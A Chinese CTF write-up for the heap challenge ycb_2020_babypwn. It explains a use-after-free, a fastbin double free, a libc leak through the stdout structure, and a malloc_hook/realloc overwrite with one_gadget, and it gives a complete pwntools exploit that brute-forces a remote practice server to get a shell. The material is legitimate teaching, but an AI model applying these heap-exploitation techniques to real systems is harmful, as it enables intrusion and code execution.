ycb_2020_babypwn

注意
本文最后更新于 2021-04-04,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • stdout结构体上方和malloc_hook上方均能伪造大小为0x70chunk。一个用来泄露libc地址,一个用来getshell

  • 当程序没有show功能的时候,可以利用fastbin attack,这时候,可伪造大小为0x70fastbin chunkstdout结构体的上方,将flag修改为0x0FBAD1887,将_IO_write_base的低字节修改一下,比如修改为0x58

  • 有时候,直接劫持malloc_hookone_gadget可能无法滿足条件,这个时候,可以利用malloc_hook上方的realloc_hook,利用realloc函数开头的几个pop指令,来调整栈帧。这个时候,设置realloc_hookone_gadgetmalloc_hookrealloc函数地址加上一个偏移,这里的偏移可以慢慢调试,选取2、4、6、12等。

  • 构造overlappedchunk的时候,有时候并不一定需要完全改写整个fd指针的内容,可以根据偏移只改写部分低字节。

  • main_arena+88或者main_arena+96距离stdout上方的fake chunk地址很近,只需修改低2位的字节,低1位的字节,固定为\xdd

题目分析

checksec

https://image.roderickchan.cn/img/20210405104438.png

可以看到,保护全开。

函数分析

main

https://image.roderickchan.cn/img/20210405104536.png

同样的,函数我均已经重命名过了。方便做题。很典型的菜单题。

https://image.roderickchan.cn/img/20210405104626.png

选项很简单,只有添加和删除。

Add

https://image.roderickchan.cn/img/20210405105331.png

https://image.roderickchan.cn/img/20210405105400.png

有几个点需要注意一下:

  • 最多只能分配20
  • 每次分配用户指定大小的chunk前,会分配一个0x30大小的chunk A用来管理后面的chunk B
  • 用户指定的大小不能超过0x70,也就是说,所有的为用户分配的chunk,范围都在fastbin
  • A[0]写的是1A[1]写的是chunk B的地址,A[2]开始,写的是messgae,且没有溢出。
Delete

https://image.roderickchan.cn/img/20210405105831.png

这里需要注意:

  • 只释放了上面的Add函数中的chunk B, 没有释放有管理功能的chunk A,但是把A[0]写为了0
  • 释放后指针没有置空,存在uaf

漏洞点

题目很精炼,漏洞点也比较好找。就是在Delete函数中,存在的一个uaf漏洞。由于靶机的环境是ubuntu 16.04,使用的libc版本为libc-2.23.so,因此,很显然就想到了使用fastbin double free attack

利用思路

知识点

  • fastbindouble free的检测,是有一定的缺陷的。不像后来的tcache bin的检测,会去检查整条链中是否存在一样的被释放的chunkfastbin只会去检查上一个chunk与当前的要释放的chunk是不是一样的。
  • fastbin double free利用的过程为free A ----> free B ----> free A。这里的A、B的大小要一样。之后,分配第一次的时候,改写fd指针为指定地址,然后连续分配两次,第四次分配,就能到指定地址获取chunk。也就是说,这里需要分配4次,才能分配到fake chunk

利用过程

由于题目没有edit的功能,所以利用起来还是很麻烦的,需要反复地进行mallocfree

整体的利用思路如下:

  • 构造出A-->B-->Aoverlappedfastbin chunk,同时做好堆内容的填写,便于使用fake chunk
  • 修改Afd指针的低字节,分配到fake chunk C处,让这个chunk C能修改到chunk Bsize域和fd
  • 修改chunk Bsize域,使其大于等于0x90,保证释放后能被放在unsorted bin中去,且fdbk指针被写入一个libc地址
  • 修改上面chunk Bfd的低2个字节,分配到stdout结构体上方,这里需要爆破一下。
  • 修改stdoutflag字段和write_base的低字节,获取到libc地址
  • 利用fastbin double free分配到malloc_hook,利用realloc + one_gadgetget_shell

详细利用步骤:

  • 分配两个0x70大小的chunk 0chunk 1,并把内容填充为0x0000000000000071,方便后续伪造chunk
  • 依次释放chunk 0--->1--->0,然后分配大小为0x70chunk 2,修改fd的低字节为0x20,继续分配chunk 3、4
  • 分配chunk 5,那么chunk 5就能改写chunk 0sizefd
  • 先释放chunk 0,再释放chunk 5,然后分配chunk 6,修改chunk 0size域为0x91
  • 再释放chunk 0,这样就得到了一个unsorted bin,且把释放了的chunk 0fd写为了一个堆地址
  • 分配一个0x30大小的chunk 7,避免后续分配管理的chunk的时候,从unsorted bin里面切割。
  • 再次释放chunk 6,分配chunk 8,修改chunk 0size0x71fd的低2个字节,使其fd指向stdout结构体上方的那个fake chunk
  • 分配到stdout上方的fake chunk,修改stdout结构体的flagwrite_base,泄露出堆地址
  • 利用double free分配到malloc_hook附近,结合realloc调整栈帧,利用one_gadget获取shell

EXP

调试过程

这里展示本地调试的过程,手动输入需要爆破的那个字节大小。

首先准备好各个函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def Add(sh:tube, size:int, name:(str, bytes), 
        msg:(str, bytes)=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
    assert size > 0 and size <= 0x70
    sh.sendlineafter("Your choice : ", '1')
    sh.sendlineafter("size of the game's name: \n", str(size))
    sh.sendafter("game's name:\n", name)
    sh.sendlineafter("game's message:\n", msg)
    return sh.recvline()


def Delete(sh:tube, idx:int):
    sh.sendlineafter("Your choice : ", '2')
    sh.sendlineafter("game's index:\n", str(idx))
    sh.recvline()

分配两个chunk并释放,构造overlapped chunk

1
2
3
4
5
Add(sh, 0x60, 14 * p64(0x71)) # 0
Add(sh, 0x60, 14 * p64(0x71)) # 1
Delete(sh, 0)
Delete(sh, 1)
Delete(sh, 0)

https://image.roderickchan.cn/img/20210405115211.png

修改低字节为0x20

1
Add(sh, 0x60, '\x20') # 2

https://image.roderickchan.cn/img/20210405115424.png

修改chunk 0size域为0x91,得到unsorted bin chunk,并构造出fastbinunsorted bin重合的堆布局,准备好0x30大小的chunk,避免切割unsorted bin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Add(sh, 0x60, '\x20') # 3
Add(sh, 0x60, '\x20') # 4
Add(sh, 0x60, p64(0) + p64(0x71)) # 5

Delete(sh, 0)
Delete(sh, 5)

Add(sh, 0x60, p64(0) + p64(0x91)) # 6
Add(sh, 0x20, 'bbbb') # 7
Delete(sh, 0)

https://image.roderickchan.cn/img/20210405115522.png

修改chunk 0size0x71,修改fd指针的低2个字节,释放掉好0x30大小的chunk

1
2
3
4
5
6
get = input('get low 2th byte (hex):')
get = int16(get)
get = get.to_bytes(1, 'big')
Add(sh, 0x60, p64(0) + p64(0x71) + b'\xdd' + get) # 8
Delete(sh, 7)
Add(sh, 0x60, 'deadbeef') # 9

首先看要修改的那个fake chunk的地址:

https://image.roderickchan.cn/img/20210405115927.png

可以顺便看一下stdout结构体:

https://image.roderickchan.cn/img/20210405120338.png

这里我们输入0x75就能分配到这个fake chunk处。

https://image.roderickchan.cn/img/20210405120532.png

分配到stdout结构体上方,泄露出libc地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Delete(sh, 7)

# 10
sh.sendlineafter("Your choice : ", '1')
sh.sendlineafter("size of the game's name: \n", str(0x60))
sh.sendafter("game's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
leak_libc_addr = u64(sh.recvn(8))
sh.sendlineafter("game's message:\n", 'aaa')
LOG_ADDR('leak_libc_addr', leak_libc_addr)

libc_base_addr = leak_libc_addr -  0x3c56a3
LOG_ADDR('libc_base_addr', libc_base_addr)

https://image.roderickchan.cn/img/20210405120723.png

再次分配到malloc_hook,并利用realloc调整栈帧,这里选则的偏移是0xd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Delete(sh, 5)
Delete(sh, 0)
Delete(sh, 5)

target_addr = libc_base_addr + malloc_hook_offset - 0x23

Delete(sh, 7)
Add(sh, 0x60, p64(target_addr)) # 11

Delete(sh, 7)
Add(sh, 0x60, p64(target_addr))

Delete(sh, 7)
Add(sh, 0x60, p64(target_addr))

Delete(sh, 7)
one_gadget = libc_base_addr + gadget_offset
Add(sh, 0x60, 0xb * b'a' + p64(one_gadget) + p64(libc_base_addr + realloc_offset + 0xd))

LOG_ADDR('one_gadget addr', one_gadget)
sh.sendlineafter("Your choice : ", '1')

https://image.roderickchan.cn/img/20210405120901.png

https://image.roderickchan.cn/img/20210405121007.png

https://image.roderickchan.cn/img/20210405121052.png

完整exp

完整的exp是需要爆破的:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import functools

LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)


def Add(sh:tube, size:int, name:(str, bytes), 
        msg:(str, bytes)=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
    assert size > 0 and size <= 0x70
    sh.sendlineafter("Your choice : ", '1')
    sh.sendlineafter("size of the game's name: \n", str(size))
    sh.sendafter("game's name:\n", name)
    sh.sendlineafter("game's message:\n", msg)
    return sh.recvline()


def Delete(sh:tube, idx:int):
    sh.sendlineafter("Your choice : ", '2')
    sh.sendlineafter("game's index:\n", str(idx))
    sh.recvline()

def attack(sh:process, malloc_hook_offset, gadget_offset, 
            realloc_offset, low_2th_byte:int=0xe5):
    Add(sh, 0x60, 14 * p64(0x71)) # 0

    Add(sh, 0x60, 14 * p64(0x71)) # 1
    Delete(sh, 0)

    Delete(sh, 1)
    Delete(sh, 0)

    Add(sh, 0x60, '\x20') # 2

    Add(sh, 0x60, '\x20') # 3

    Add(sh, 0x60, '\x20') # 4

    Add(sh, 0x60, p64(0) + p64(0x71)) # 5


    Delete(sh, 0)
    Delete(sh, 5)

    Add(sh, 0x60, p64(0) + p64(0x91)) # 6
    Add(sh, 0x20, 'bbbb') # 7

    Delete(sh, 0)

    Delete(sh, 5)
    Delete(sh, 7)

    # get = input('get low 2th byte (hex):')
    # get = int16(get)
    get = low_2th_byte.to_bytes(1, 'big')
    Add(sh, 0x60, p64(0) + p64(0x71) + b'\xdd' + get) # 8
    Delete(sh, 7)
    Add(sh, 0x60, 'deadbeef') # 9
    Delete(sh, 7)

    # 10
    sh.sendlineafter("Your choice : ", '1')
    sh.sendlineafter("size of the game's name: \n", str(0x60))
    sh.sendafter("game's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
    leak_libc_addr = u64(sh.recvn(8))
    sh.sendlineafter("game's message:\n", 'aaa')
    LOG_ADDR('leak_libc_addr', leak_libc_addr)

    libc_base_addr = leak_libc_addr -  0x3c56a3
    LOG_ADDR('libc_base_addr', libc_base_addr)

    # gadgets = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    # realloc_offset = 0x84710

    Delete(sh, 5)
    Delete(sh, 0)
    Delete(sh, 5)

    # malloc_hook_offset = 0x3c4b10
    target_addr = libc_base_addr + malloc_hook_offset - 0x23

    Delete(sh, 7)
    Add(sh, 0x60, p64(target_addr)) # 11

    Delete(sh, 7)
    Add(sh, 0x60, p64(target_addr))

    Delete(sh, 7)
    Add(sh, 0x60, p64(target_addr))

    Delete(sh, 7)
    one_gadget = libc_base_addr + gadget_offset
    Add(sh, 0x60, 0xb * b'a' + p64(one_gadget) + p64(libc_base_addr + realloc_offset + 0xd))

    LOG_ADDR('one_gadget addr', one_gadget)
    sh.sendlineafter("Your choice : ", '1')

    sh.sendline('cat flag')
    sh.recvline_contains(b'flag', timeout=2)
    sh.interactive()


if __name__ == '__main__':
    while True:
        try:
            # sh = process('./ycb_2020_babypwn')
            sh = remote("node3.buuoj.cn", 28643)
            r_realloc = 0x846c0
            r_gadget = 0x4526a
            attack(sh, 0x3c4b10, r_gadget, r_realloc)
        except:
            sh.close()

爆破的效果如图:

https://image.roderickchan.cn/img/20210405122710.png

引用与参考

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%